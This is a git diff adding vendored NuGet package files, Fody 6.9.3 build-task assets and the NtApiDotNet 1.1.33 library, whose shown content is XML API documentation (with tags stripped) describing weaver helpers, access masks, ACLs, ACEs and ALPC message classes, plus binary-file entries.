b/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml new file mode 100644 index 0000000..958b7bf --- /dev/null +++ b/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml @@ -0,0 +1,293 @@ + + + + FodyHelpers + + + + + Base class for module weavers. + + + + + The full element XML from FodyWeavers.xml. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with level + + + + + Handler for writing a log entry at a specific level. + + + + + Write a warning to MSBuild. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Handler for writing a warning. + + + + + Handler for writing a warning at a specific point in the code + + + + + Write an error to MSBuild. + + + + + Write an error to MSBuild and use for the file and line information. + + + + + Write a error to MSBuild and use for the file and line information. + + + + + Handler for writing an error. + + + + + Handler for writing an error at a specific point in the code. + + + + + Handler for resolving s. + + + + + The current s. + + + + + An instance of for processing. + + + + + Commonly used s. + + + + + The full path of the target assembly. + + + + + The full directory path of the target project. + A copy of $(MSBuildProjectDirectory). + + + + + The full file path of the target project. + A copy of $(MSBuildProjectFullPath). + + + + + The full directory path of the XML documentation file, + if generating the documentation file is enabled in the project. + A copy of @(DocFileItem->'%(FullPath)'). + + + + + The full directory path of the current weaver. + + + + + The full directory path of the current solution. + A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL + + + + + A semicolon delimited string that contains + all the references for the target project. + A copy of the contents of the @(ReferencePath). + + + + + A list of all the references marked as copy-local. + A copy of the contents of the @(ReferenceCopyLocalPaths). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build. + + + + + A list of all the runtime references marked as copy-local. + A copy of the contents of the @(RuntimeCopyLocalItems). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build. + + + + + A list of all the msbuild constants. + A copy of the contents of the $(DefineConstants). + + + + + Called when the weaver is executed. + + + + + Called when a request to cancel the build occurs. + + + + + Return a list of assembly names for scanning. + Used as a list for . + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Called after all weaving has occurred and the module has been saved. + + + + + Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed) + should be removed by Fody after a successful execution + + + + + Abstraction for the MSBuild MessageImportance. + + + + + Defaults for when writing to and . + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Decompile assemblies using ildasm.exe. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Verifies assemblies using peverify.exe. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Uses to derive the current directory. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Replacement for . + + + + diff --git a/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll b/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll new file mode 100644 index 0000000..4b20e4a Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll b/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll new file mode 100644 index 0000000..e82e361 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000..e748d13 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000..7c732ca Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb differ diff --git a/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000..81b715a Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000..ce50c05 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb differ diff --git a/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll new file mode 100644 index 0000000..cceefda Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll differ diff --git a/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb new file mode 100644 index 0000000..7d38481 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll new file mode 100644 index 0000000..e6b1c94 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll new file mode 100644 index 0000000..59a1245 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml new file mode 100644 index 0000000..958b7bf --- /dev/null +++ b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml @@ -0,0 +1,293 @@ + + + + FodyHelpers + + + + + Base class for module weavers. + + + + + The full element XML from FodyWeavers.xml. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with level + + + + + Handler for writing a log entry at a specific level. + + + + + Write a warning to MSBuild. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Handler for writing a warning. + + + + + Handler for writing a warning at a specific point in the code + + + + + Write an error to MSBuild. + + + + + Write an error to MSBuild and use for the file and line information. + + + + + Write a error to MSBuild and use for the file and line information. + + + + + Handler for writing an error. + + + + + Handler for writing an error at a specific point in the code. + + + + + Handler for resolving s. + + + + + The current s. + + + + + An instance of for processing. + + + + + Commonly used s. + + + + + The full path of the target assembly. + + + + + The full directory path of the target project. + A copy of $(MSBuildProjectDirectory). + + + + + The full file path of the target project. + A copy of $(MSBuildProjectFullPath). + + + + + The full directory path of the XML documentation file, + if generating the documentation file is enabled in the project. + A copy of @(DocFileItem->'%(FullPath)'). + + + + + The full directory path of the current weaver. + + + + + The full directory path of the current solution. + A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL + + + + + A semicolon delimited string that contains + all the references for the target project. + A copy of the contents of the @(ReferencePath). + + + + + A list of all the references marked as copy-local. + A copy of the contents of the @(ReferenceCopyLocalPaths). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build. + + + + + A list of all the runtime references marked as copy-local. + A copy of the contents of the @(RuntimeCopyLocalItems). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build. + + + + + A list of all the msbuild constants. + A copy of the contents of the $(DefineConstants). + + + + + Called when the weaver is executed. + + + + + Called when a request to cancel the build occurs. + + + + + Return a list of assembly names for scanning. + Used as a list for . + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Called after all weaving has occurred and the module has been saved. + + + + + Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed) + should be removed by Fody after a successful execution + + + + + Abstraction for the MSBuild MessageImportance. + + + + + Defaults for when writing to and . + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Decompile assemblies using ildasm.exe. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Verifies assemblies using peverify.exe. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Uses to derive the current directory. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Replacement for . + + + + diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll new file mode 100644 index 0000000..dcaf53b Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll new file mode 100644 index 0000000..b07b910 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000..46705fe Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb new file mode 100644 index 0000000..50766f8 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll new file mode 100644 index 0000000..4ee9d53 Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb new file mode 100644 index 0000000..837910c Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll new file mode 100644 index 0000000..f10dd6a Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll differ diff --git a/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb new file mode 100644 index 0000000..a4aed8b Binary files /dev/null and b/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb differ diff --git a/packages/NtApiDotNet.1.1.33/.signature.p7s b/packages/NtApiDotNet.1.1.33/.signature.p7s new file mode 100644 index 0000000..958a6ba Binary files /dev/null and b/packages/NtApiDotNet.1.1.33/.signature.p7s differ diff --git a/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg b/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg new file mode 100644 index 0000000..9fbe43a Binary files /dev/null and b/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg differ diff --git a/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll b/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll new file mode 100644 index 0000000..ba29045 Binary files /dev/null and b/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll differ diff --git a/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml b/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml new file mode 100644 index 0000000..1f8091c --- /dev/null +++ b/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml @@ -0,0 +1,51865 @@ + + + + NtApiDotNet + + + + + Result of an access check with specific access types. + + The access rights type, must be derived from an Enum. + + + + The NT status code from the access check. + + + + + The granted access mask from the check. + + + + + The granted access mapped to generic access mask. + + + + + The required privileges for this access. + + + + + The specific granted access mask from the check. + + + + + The specific granted access mapped to generic access mask. + + + + + Object type associated with the access. + + + + + The level of the object type if used. + + + + + Optional name for the object type. + + + + + When a result from an Audit Access Check indicates whether the + an audit needs to be generated on close. + + + + + Whether the access check was a success. + + + + + Get access check result as a specific access. + + The specific access results. + + + + Get access check result as a specific access. + + The specific access. + + + + Result of an access check. + + + + + Result of an access check with generic Enum access types. + + + + + Structure for an NT access mask. + + + + + The access mask's access bits. + + + + + Constructor. + + Access bits to use + + + + Implicit conversion from Int32. + + The access enumeration. + + + + Implicit conversion from UInt32. + + The access enumeration. + + + + Implicit conversion from enumerations. + + The access enumeration. + + + + Convert access mask to a generic access object. + + The generic access mask + + + + Convert access mask to a mandatory label policy + + The mandatory label policy + + + + Convert to a specific access right. + + The specific access right. + The converted value. + + + + Convert to a specific access right. + + The type of enumeration to convert to. + The converted value. + + + + Get whether this access mask is empty (i.e. it's 0) + + + + + Get whether this access mask has no access rights, i.e. not empty. + + + + + Get whether this access mask has generic access rights. + + + + + Get whether this access mask hash type specific access rights. + + + + + Get whether the current access mask is granted specific permissions. + + The access mask to check + True one or more access granted. + + + + Get whether the current access mask is granted all specific permissions. + + The access mask to check + True access all is granted. + + + + Bitwise AND operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Bitwise OR operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Bitwise AND operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Bitwise OR operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Equality operator. + + Access mask 1 + Access mask 2 + True if equal. + + + + Inequality operator. + + Access mask 1 + Access mask 2 + True if equal. + + + + Bitwise NOT operator. + + Access mask 1 + The new access mask. + + + + Overridden GetHashCode. + + The hash code. + + + + Overridden Equals. + + The object to compare against. + True if equal. + + + + Get an empty access mask. + + + + + Overridden ToString method. + + The access mask. + + + + ToString method. + + Format code for the access mask. + The formatting string. + + + + ToString method. + + Format code for the access mask. + The format provider. + The formatting string. + + + + Flags representing what generic access the entry maps to. + + + + + Not mapped to any access. + + + + + Mapped to read. + + + + + Mapped to write. + + + + + Mapped to execute. + + + + + Mapped to All. + + + + + A structure to hold an access mask to enum mapping. + + + + + The access mask. + + + + + The value of the access mask entry enumeration. + + + + + The generic access this maps to. + + + + + The optional SDK name. + + + + + Overridden ToString method. + + The string form of the entry. + + + + Class to represent an Access Control Entry (ACE) + + + + + Check if the ACE is an allowed ACE. + + + + + Check if the ACE is a denied ACE. + + + + + Check if the ACE is an Object ACE + + + + + Check if the ACE is a callback ACE + + + + + Check if ACE is a conditional ACE + + + + + Check if ACE is a resource attribute ACE. + + + + + Check if ACE is a mandatory label ACE. + + + + + Check if ACE is a compound ACE. + + + + + Check if ACE is an audit ACE. + + + + + Check if ACE is an access filter ACE. + + + + + Check if ACE is a process trust label ACE. + + + + + Check if ACE is a critical ACE. + + + + + Check if ACE is inherit only. + + + + + Check if ACE is inherited by objects. + + + + + Check if ACE is inherited by objects. + + + + + Get ACE type + + + + + Get ACE flags + + + + + Get ACE access mask + + + + + Get ACE Security Identifier + + + + + The type of compound ACE. When serialized always set to Impersonate. + + + + + Get the client SID in a compound ACE. + + + + + Get optional Object Type + + + + + Get optional Inherited Object Type + + + + + Optional application data. + + + + + Get conditional check if a conditional ace. + + + + + Get or set resource attribute. + + + + + Constructor + + ACE type + ACE flags + ACE access mask + ACE sid + + + + Convert ACE to a string + + The ACE as a string + + + + Convert ACE to a string + + An enumeration type to format the access mask + True to try and resolve SID to a name + The ACE as a string + + + + Clone this ACE. + + The cloned ACE. + + + + Get whether the current access mask is granted specific permissions. + + The access mask to check + True one or more access granted. + + + + Get whether the current access mask is granted all specific permissions. + + The access mask to check + True access all is granted. + + + + Get the common name of the object type. + + Specify the domain for the object type. + If true then expand the list of properties. + The common name of the object type, or the GUID as a string. + This function could be quite slow to query the first time. + + + + Get the common name of the object type. + + If true then expand the list of properties. + The common name of the object type, or the GUID as a string. + This will query the local domain, it could be quite slow to query the first time. + + + + Get the common name of the object type. + + The common name of the object type, or the GUID as a string. + This will query the local domain, it could be quite slow to query the first time. + + + + Get the common name of the inherited object type. + + Specify the domain for the object type. + The common name of the object type, or the GUID as a string. + This function could be quite slow to query the first time. + + + + Get the common name of the inherited object type. + + The common name of the object type, or the GUID as a string. + This will query the local domain, it could be quite slow to query the first time. + + + + Convert the ACE to a byte array. + + The ACE as a byte array. + + + + Compare ACE to another object. + + The other object. + True if the other object equals this ACE + + + + Get hash code. + + The hash code + + + + Equality operator + + Left ACE + Right ACE + True if the ACEs are equal + + + + Not Equal operator + + Left ACE + Right ACE + True if the ACEs are not equal + + + + Class to represent an Access Control List (ACL) + + + + + Constructor + + Pointer to a raw ACL in memory + True if the ACL was defaulted + + + + Constructor + + Buffer containing an ACL in memory + True if the ACL was defaulted + + + + Constructor for a NULL ACL + + True if the ACL was defaulted + + + + Constructor for an empty ACL + + + + + Constructor + + List of ACEs to add to ACL + True if the ACL was defaulted + + + + Constructor + + List of ACEs to add to ACL + + + + Constructor. + + An SDDL string to create the DACL from. + The SDDL string should be of the form D:(...) or S:(...), if you specify + both a DACL and a SACL then only the DACL will be used. + + + + Convert the ACL to a byte array + + The ACL as a byte array + + + + Convert the ACL to a safe buffer + + The safe buffer + + + + Add an ace to the ACL + + The ACE to add + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an audit ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an audit success ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit success ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit fail ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit fail ace to the ACL + + The ACE access mask + The ACE SID + + + + Gets an indication if this ACL is canonical. + + Canonical means that deny ACEs are before allow ACEs. + True to canonicalize a DACL, otherwise a SACL. + True if the ACL is canonical. + + + + Gets an indication if this DACL is canonical. + + Canonical basically means that deny ACEs are before allow ACEs. + True if the ACL is canonical. + + + + Canonicalize the ACL. + + True to canonicalize a DACL, otherwise a SACL. + + + + Canonicalize the ACL (for use on DACLs only). + + The canonical ACL. + + + + Find the first ACE with a specified type. + + The type to find. + True to include inherit only ACEs. + The found ace. Returns null if not found. + + + + Find the first ACE with a specified type. Includes InheritOnly ACEs. + + The type to find. + The found ace. Returns null if not found. + + + + Find the all ACE with a specified type. + + The type to find. + True to include inherit only ACEs. + The found aces. + + + + Find the all ACE with a specified type. Includes InheritOnly ACEs. + + The type to find. + The found aces. + + + + Find the last ACE with a specified type. + + The type to find. + The found ace. Returns null if not found. + + + + Clone the ACL. Also clones all ACEs. + + The cloned ACL. + + + + Get or set whether the ACL was defaulted + + + + + Get or set whether the ACL is NULL (no security) + + + + + Get or set the protected flag. + + + + + Get or set the auto-inherited flag. + + + + + Get or set the auto-inherited required flag. + + + + + Get or set the ACL revision + + + + + Indicates the ACL has at least one conditional ACE. + + + + + Indicates the ACL has at least one object ACE. + + + + + Base class to represent an ALPC message. + + + + + Constructor. + + The port message header. + + + + Constructor. + + + + + Update the header length fields. + + The length of the valid data. + The maximum data length supported by the packet. + + + + Method to handle when ToSafeBuffer is called. + + The message buffer being created. + + + + Method to handle when FromSafeBuffer is called. + + The message buffer to initialize from.. + The ALPC port associated with this message. + + + + Get or set the header. + + + + + The process ID of the sender. + + + + + The thread ID of the sender. + + + + + Get total length of the message. + + + + + Get the allocated data length for the message. + + + + + Get data length of the message. + + + + + Get the message ID. + + + + + Get the callback ID. + + + + + Get the message type. + + + + + Get additional flags on message type. + + + + + Indicates that the message requires a reply (otherwise things can leak). + + + + + Indicates that the message requires a reply (obsolete). + + + + + Get direct status for the message. + + The direct status for the message. Returns STATUS_PENDING if the message is yet to be processed. + + + + Get the maximum size of a message minus the header size. + + + + + Create a safe buffer for this message. + + The safe buffer. + + + + Method to query information for a message. + + The information class. + The port which has processed the message. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + The port which has processed the message. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The port which has processed the message. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The port which has processed the message. + The information class to query. + The result of the query. + Thrown on error. + + + + An ALPC message which holds a raw set of bytes. + + + + + Constructor. + + Data to initialize the message with. + Maximum length of the message buffer. + Specify a text encoding for the DataString property. + + + + Constructor. + + Data to initialize the message with. + Maximum length of the message buffer. + + + + Constructor. + + Data to initialize the message with. + + + + Constructor. + + Data to initialize the message with. + Specify a text encoding for the DataString property. + + + + Constructor. + + Total allocated length of the message buffer. + + + + Constructor. + + Total allocated length of the message buffer. + Specify a text encoding for the DataString property. + + + + Get or set the message data. + + When you set the data it'll update the DataLength and TotalLength fields. + + + + Get or set the message data as an encoding string. + + When you set the data it'll update the DataLength and TotalLength fields. + + + + Get or set the text encoding in this raw message. + + + + + Method to handle when FromSafeBuffer is called. + + The message buffer to initialize from.. + The ALPC port associated with this message. + + + + Method to handle when ToSafeBuffer is called. + + The message buffer being created. + + + + An ALPC message which holds a specific type with optional trailing data. + + The type representing the data. + + + + Constructor for a receive buffer. + + + + + Constructor for a receive buffer. + + Length of message. This will be rounded up to at least accomodate the header. + + + + Constructor for a send/receive buffer. + + The initial value to set. + Trailing data. + + + + Constructor for a send/receive buffer. + + The initial value to set. + + + + Get or set the type in the buffer. + + + + + Get or set any trailing data after the value. + + + + + Method to handle when FromSafeBuffer is called. + + The message buffer to initialize from.. + The ALPC port associated with this message. + + + + Method to handle when ToSafeBuffer is called. + + The message buffer being created. + + + + Class to represent a set of sending attributes. + + + + + Constructor. + + + + + Constructor. + + List of attributes to send. + + + + Add an attribute object. + + The attribute to add. + + + + Remove an attribute object. + + The attribute flag to remove. + + + + Remove an attribute object. + + The attribute to remove. + + + + Add a list of handles to the send attributes. + + The list of objects. + This method doesn't maintain a reference to the objects. You need to keep them alive elsewhere. + + + + Add a list of handles to the send attributes. + + The list of handles. + + + + Add a list of handles to the send attributes. + + The handle to add. + This method doesn't maintain a reference to the objects. You need to keep them alive elsewhere. + + + + Add a list of handles to the send attributes. + + The handle to add. + + + + Get the allocated attributes. + + + + + Class to represent a set of received attributes. + + + + + Constructor. Allocated space for all known attributes. + + + + + Constructor. + + + + + Get the allocated attributes. + + + + + Get the list of valid attributes. + + + + + Get a list of the valid attributes. + + + + + Get list of passed handles. + + + + + Get the mapped data view. If no view sent this property is invalid. + + + + + Get the security context. If no security context this property is invalid. + + + + + Dispose method. + + + + + Get a typed attribute. + + The type of attribute to get. + The attribute. Returns a default initialized object if not valid. + + + + Get an attribute. + + The attribute flag to get. + The attribute. Returns null if not found. + + + + Convert this set of attributes to a buffer to send. + + The send attributes. + + + + Convert this set of attributes to one which can be used to free on continuation required. + + The attributes to + The send attributes. + + + + Checks if an attribute flag is valid. + + The attribute to test. + True if the attribute is value. + + + + Base class to represent a message attribute. + + + + + The flag for this attribute. + + + + + Constructor. + + The single attribute flag which this represents. + + + + Class representing a security message attribute. + + + + + Constructor. + + + + + Security attribute flags. + + + + + Security quality of service. + + + + + Context handle. + + + + + Create an attribute which with create a handle automatically. + + The security quality of service. + The security message attribute. + + + + Class representing a security message attribute. + + + + + Constructor. + + + + + Token ID of token. + + + + + Authentication ID of token. + + + + + Modified ID of token + + + + + Class representing a security message attribute. + + + + + Constructor. + + + + + Port context. + + + + + Message context. + + + + + Sequence number. + + + + + Message ID. + + + + + Callback ID. + + + + + Class representing a data view message attribute. + + + + + Constructor. + + + + + View flags. + + + + + Handle to section. + + + + + View base. + + + + + View size. + + + + + Handle attribute entry. + + + + + Handle flags. + + + + + The NT object. + + + + + The object type for the handle. + + + + + Desired access for the handle. + + + + + Constructor. + + Handle attribute to initialize from. + + + + Constructor. + + Handle attribute to initialize from. + + + + Constructor. + + Information structure to initialize from. + + + + Constructor. + + + + + Constructor. + + The object to construct the entry from. Will take a copy of the handle. + + + + Class representing a handle message attribute. + + + + + Constructor. + + + + + Constructor. + + List of handle entries. + + + + Constructor. + + The handle entry. + + + + Constructor. + + List of objects to create the handle entries. + This constructor takes copies of the objects. + + + + Constructor. + + A single object to send. + This constructor takes copies of the object. + + + + List of handles in this attribute. + + + + + Class representing a direct message attribute. + + + + + Constructor. + + The event object. + + + + The event object. + + + + + Class representing a work on behalf of message attribute. + + + + + Constructor. + + + + + Thread ID. + + + + + Thread creation time (low). + + + + + Safe buffer to store an allocated set of ALPC atributes. + + + + + Get a pointer to an allocated attribute. Returns NULL if not available. + + The attribute to get. + The pointer to the attribute buffer, IntPtr.Zero if not found. + + + + Get an attribute as a structured type. + + The attribute type. + The attribute. + A buffer which represents the structured type. + Thrown if attribute doesn't exist. + + + + Create a new buffer with allocations for a specified set of attributes. + + The attributes to allocate. + The allocated buffed. + + + + Dispose the safe buffer. + + True if disposing + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Get the NULL buffer. + + + + + Class to represent an ALPC port section. + + + + + Handle to the port section. + + + + + Size of the port section. + + + + + The actual section size. + + + + + Create a new section view attribute. + + Specify the flags for the data view attribute. + The section view size. + True to throw on error. + The section view attribute. + + + + Create a new section view attribute. + + True to throw on error. + The section view attribute. + + + + Create a new section view attribute. + + Specify the flags for the data view attribute. + The section view size. + The section view attribute. + + + + Create a new section view attribute. + + The section view attribute. + + + + Dispose of the port section. + + + + + Supported windows verion + + + + + This should always be at the end. + + + + + Attribute to indicate the required version for a function. + Applied if the function needs a version greater than 7. + + + + + The supported version. + + + + + Constructor + + The supported version + + + + Attribute used for managed structures to indicate the start of data. + This is used in situations where the data immediately trail + + + + + Constructor + + The field name which indicates the first address of data. + + + + The field name which indicates the first address of data. + + + + + When allocating this structure always include the field in the total length calculation. + + + + + Class to represent an API set entry. + + + + + Flags for the entry. + + + + + The name of the API set. + + + + + The default host module. + + + + + Hash version of the name. + + + + + List of hosts. + + + + + Get host module for an import module. + + + + + + + Represents a single API set host. + + + + + The imported module this API set host applies to. + + + + + The module which implements this API set. + + + + + Is the host the default host. + + + + + Flags for API set namespace. + + + + + None. + + + + + The API set is sealed. + + + + + The API set is an extension. + + + + + Class to represent an API set namespace. + + + + + Flags for the namespace. + + + + + List of API set entries. + + + + + Get API set namespace from current process. + + + + + Gets an API set based on its name. + + The API set name. + The API set entry. Returns null if not found. + + + + Flags for a boundary descriptor + + + + + None + + + + + Automatically add the AppContainer package SID to the boundary + + + + + Class which represents a private namespace boundary descriptor + + + + + Constructor + + The name of the boundary + Additional flags for the boundary + + + + Constructor + + The name of the boundary + + + + Add a SID to the boundary descriptor. + + This SID is used in an access check when creating or deleting private namespaces. + The SID to add. + + + + Add an integrity level to the boundary descriptor. + + This integrity level is used in an access check when creating or deleting private namespaces. + The integrity level to add. + + + + Add a list of SIDs to the boundary descriptor. + + The SIDs to add. This can include normal and integrity level SIDs + + + + Add a list of SIDs to the boundary descriptor. + + The first SID to add + Additional SIDs + + + + The handle to the boundary descriptor. + + + + + Create a boundary descriptor from a string representation. + + A boundary descriptor string of the form [SID[:SID...]@]NAME where SID is an SDDL format SID. + The new boundary descriptor. + + + + Finalizer + + + + + Dispose + + + + + Some simple utilities to create structure buffers. + + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + Additional byte data after the structure. + Indicates if additional_size includes the structure size or not. + The new structure buffer. + + + + Create a buffer based on a passed type. + + The 